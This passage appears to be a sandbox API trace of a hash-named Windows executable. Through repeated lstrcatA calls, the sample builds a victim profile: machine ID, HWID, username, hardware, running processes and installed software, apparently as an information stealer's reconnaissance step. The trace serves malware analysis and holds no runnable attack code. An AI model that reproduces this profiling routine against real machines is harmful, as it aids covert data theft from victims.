2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001"
[0054.964] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]"
[0054.964] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- 